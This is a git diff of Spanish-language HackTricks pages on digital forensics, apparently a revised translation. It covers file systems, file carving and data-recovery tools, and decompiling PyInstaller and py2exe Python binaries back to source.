![](<../../../.gitbook/assets/image (494).png>) ![](<../../../.gitbook/assets/image (494).png>)
Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío). Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío).
## Sistemas de archivos ## Sistemas de archivos
### Lista de sistemas de archivos de Windows ### Lista de sistemas de archivos de Windows
@ -160,31 +162,31 @@ Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI P
### FAT ### FAT
El sistema de archivos **FAT (File Allocation Table)** está diseñado en torno a su componente central, la tabla de asignación de archivos, ubicada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de inicio del sistema. El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, situada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de arranque del sistema.
La unidad básica de almacenamiento del sistema de archivos es un **clúster, generalmente de 512B**, que comprende varios sectores. FAT ha evolucionado a través de versiones: La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones:
* **FAT12**, que admite direcciones de clúster de 12 bits y maneja hasta 4078 clústeres (4084 con UNIX). * **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX).
* **FAT16**, mejorando a direcciones de 16 bits, pudiendo alojar hasta 65,517 clústeres. * **FAT16**, que mejora a direcciones de 16 bits, permitiendo hasta 65,517 clusters.
* **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante número de 268,435,456 clústeres por volumen. * **FAT32**, que avanza aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen.
Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo. Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo.
Los componentes clave del directorio raíz, especialmente para FAT12 y FAT16, incluyen: Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, incluyen:
* **Nombre de archivo/carpeta** (hasta 8 caracteres) * **Nombre de archivo/carpeta** (hasta 8 caracteres)
* **Atributos** * **Atributos**
* **Fechas de creación, modificación y último acceso** * **Fechas de creación, modificación y último acceso**
* **Dirección de la tabla FAT** (indicando el clúster de inicio del archivo) * **Dirección de la tabla FAT** (que indica el cluster inicial del archivo)
* **Tamaño del archivo** * **Tamaño del archivo**
### EXT ### EXT
**Ext2** es el sistema de archivos más común para particiones **sin registro de diario** (particiones que no cambian mucho) como la partición de arranque. **Ext3/4** son **con registro de diario** y se utilizan generalmente para las **otras particiones**. **Ext2** es el sistema de archivos más común para **particiones que no registran** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con registro** y se utilizan generalmente para el **resto de las particiones**.
## **Metadatos** ## **Metadatos**
Algunos archivos contienen metadatos. Esta información es sobre el contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, podría contener información como: Algunos archivos contienen metadatos. Esta información se refiere al contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, puede tener información como:
* Título * Título
* Versión de MS Office utilizada * Versión de MS Office utilizada
@ -194,36 +196,36 @@ Algunos archivos contienen metadatos. Esta información es sobre el contenido de
* Coordenadas GPS * Coordenadas GPS
* Información de la imagen * Información de la imagen
Puedes utilizar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo. Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
## **Recuperación de archivos eliminados** ## **Recuperación de archivos eliminados**
### Archivos eliminados registrados ### Archivos eliminados registrados
Como se vio anteriormente, hay varios lugares donde el archivo aún se guarda después de ser "eliminado". Esto se debe a que generalmente la eliminación de un archivo de un sistema de archivos solo lo marca como eliminado pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados. Como se vio antes, hay varios lugares donde el archivo aún se guarda después de haber sido "eliminado". Esto se debe a que, generalmente, la eliminación de un archivo de un sistema de archivos simplemente lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y las copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible. Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### **Tallado de archivos** ### **Carving de archivos**
El **tallado de archivos** es una técnica que intenta **encontrar archivos en el conjunto de datos**. Hay 3 formas principales en las que funcionan herramientas como esta: **Basadas en encabezados y pies de página de tipos de archivo**, basadas en **estructuras de tipos de archivo** y basadas en el **contenido** en sí. **El carving de archivos** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en los encabezados y pies de los tipos de archivos**, basado en las **estructuras** de los tipos de archivos y basado en el **contenido** mismo.
Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no se almacena en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
Hay varias herramientas que puedes utilizar para el tallado de archivos indicando los tipos de archivo que deseas buscar. Hay varias herramientas que puedes usar para el carving de archivos indicando los tipos de archivos que deseas buscar.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Tallado de **flujos de datos** ### Carving de flujo de datos **C**
El tallado de flujos de datos es similar al tallado de archivos pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ El carving de flujo de datos es similar al carving de archivos, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas, esta técnica buscará URLs. Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs.
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -231,8 +233,8 @@ Por ejemplo, en lugar de buscar un archivo completo que contenga URL registradas
### Eliminación segura ### Eliminación segura
Obviamente, existen formas de **eliminar archivos de manera "segura" y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de seguridad de volumen**.\ Obviamente, hay formas de **"eliminar de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de sombra del volumen**.\
Puedes notar que incluso realizando esa acción, puede haber **otras partes donde la existencia del archivo aún esté registrada**, y parte del trabajo de un profesional forense es encontrarlas. Puedes notar que incluso al realizar esa acción puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto, y parte del trabajo del profesional forense es encontrarlas.
## Referencias ## Referencias
@ -240,4 +242,19 @@ Puedes notar que incluso realizando esa acción, puede haber **otras partes dond
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs Certificado en Forense Digital Windows**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Herramientas de Carving y Recuperación de Datos # File/Data Carving & Recovery Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,19 +23,19 @@ Otras formas de apoyar a HackTricks:
*** ***
## Herramientas de Carving y Recuperación ## Carving & Recovery tools
Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy ### Autopsy
La herramienta más comúnmente utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para admitir imágenes de disco y otros tipos de imágenes, pero no archivos simples. La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). **Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
**Comandos útiles**: **Useful commands**:
```bash ```bash
sudo apt install binwalk #Insllation sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file binwalk file #Displays the embedded data in the given file
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará por defecto los tipos de archivos configurados. Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -51,56 +52,58 @@ foremost -v -i file.img -o output
``` ```
### **Scalpel** ### **Scalpel**
**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, deberás descomentar en el archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas extraer. **Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas que extraiga.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
Esta herramienta viene incluida en Kali pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Esta herramienta puede escanear una imagen y **extraer pcaps** en su interior, **información de red (URLs, dominios, IPs, MACs, correos electrónicos)** y más **archivos**. Solo tienes que hacer: Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
### PhotoRec ### PhotoRec
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Viene con versiones de GUI y CLI. Puedes seleccionar los **tipos de archivos** que deseas que PhotoRec busque. Viene con versiones GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque.
![](<../../../.gitbook/assets/image (524).png>) ![](<../../../.gitbook/assets/image (524).png>)
### binvis ### binvis
Verifica el [código](https://code.google.com/archive/p/binvis/) y la [herramienta de la página web](https://binvis.io/#/). Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web de la herramienta](https://binvis.io/#/).
#### Características de BinVis #### Características de BinVis
* Visualizador de **estructuras** visual y activo * Visual y activo **visor de estructuras**
* Múltiples gráficos para diferentes puntos de enfoque * Múltiples gráficos para diferentes puntos de enfoque
* Enfoque en porciones de una muestra * Enfocándose en porciones de una muestra
* **Ver cadenas y recursos**, en ejecutables PE o ELF, por ejemplo * **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
* Obtener **patrones** para criptoanálisis en archivos * Obteniendo **patrones** para criptoanálisis en archivos
* **Detectar** algoritmos de empaquetado o codificación * **Detectando** algoritmos de empaquetado o codificación
* **Identificar** Esteganografía por patrones * **Identificar** esteganografía por patrones
* **Diferenciación** binaria visual * **Diferenciación** binaria visual
BinVis es un excelente **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra. BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
## Herramientas Específicas de Recuperación de Datos ## Herramientas específicas de recuperación de datos
### FindAES ### FindAES
Busca claves AES buscando sus programaciones de claves. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
Descarga [aquí](https://sourceforge.net/projects/findaes/). Descarga [aquí](https://sourceforge.net/projects/findaes/).
## Herramientas Complementarias ## Herramientas complementarias
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para transformar un PDF en texto y leerlo. Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
**Try Hard Security Group** **Try Hard Security Group**
@ -108,16 +111,17 @@ Puedes usar la herramienta de línea de comandos de Linux **pdftotext** para tra
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Descompilar binarios de Python compilados (exe, elf) - Recuperar desde .pyc # Decompilar binarios de python compilados (exe, elf) - Recuperar de .pyc
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! **Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Desde Binario Compilado a .pyc ## De binario compilado a .pyc
Desde un binario compilado **ELF** puedes **obtener el .pyc** con: De un binario compilado **ELF** puedes **obtener el .pyc** con:
```bash ```bash
pyi-archive_viewer <binary> pyi-archive_viewer <binary>
# The list of python modules will be given here: # The list of python modules will be given here:
@ -41,17 +42,17 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
En un **binario exe de Python** compilado puedes **obtener el .pyc** ejecutando: En un **python exe binary** compilado puedes **obtener el .pyc** ejecutando:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## De .pyc a código de Python ## From .pyc to python code
Para los datos de **.pyc** ("compilados" de Python) debes comenzar intentando **extraer** el **código de Python** **original**: Para los datos **.pyc** ("compilado" python) deberías comenzar intentando **extraer** el **código** **python** **original**:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (de lo contrario, uncompyle6 no funcionará) **Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no va a funcionar)
Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**: Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**:
@ -62,17 +63,17 @@ Unknown magic number 227 in /tmp/binary.pyc
``` ```
Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado. Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado.
**Los números mágicos varían con la versión de Python**, para obtener el número mágico de **Python 3.8** necesitarás **abrir un terminal de Python 3.8** y ejecutar: **Los números mágicos varían según la versión de python**, para obtener el número mágico de **python 3.8** necesitarás **abrir un terminal de python 3.8** y ejecutar:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, luego, para corregir este error necesitarás **agregar** al **principio** del archivo **.pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000` El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para corregir este error necesitarás **agregar** al **principio** del **archivo .pyc** los siguientes bytes: `0x0d550a0d000000000000000000000000`
**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar corregido.** **Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar corregido.**
Así es como se verá un **encabezado mágico .pyc de python3.8** correctamente agregado: Así es como se verá un **encabezado mágico .pyc python3.8** correctamente agregado:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### Error: Errores de decompilación genéricos ### Error: Errores genéricos de descompilación
**Otros errores** como: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` pueden aparecer. **Otros errores** como: `class 'AssertionError'>; co_code debería ser uno de los tipos (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); es tipo <class 'NoneType'>` pueden aparecer.
Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que asegúrate de usar el correcto (o intenta con uno nuevo). Esto probablemente significa que **no has agregado correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que **asegúrate de usar el correcto** (o prueba uno nuevo).
Verifica la documentación del error anterior. Consulta la documentación del error anterior.
## Herramienta Automática ## Herramienta Automática
La herramienta [**python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y decompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación. La [**herramienta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y descompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación.
### ImportError: Nombre del archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe ### ImportError: Nombre de archivo: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' no existe
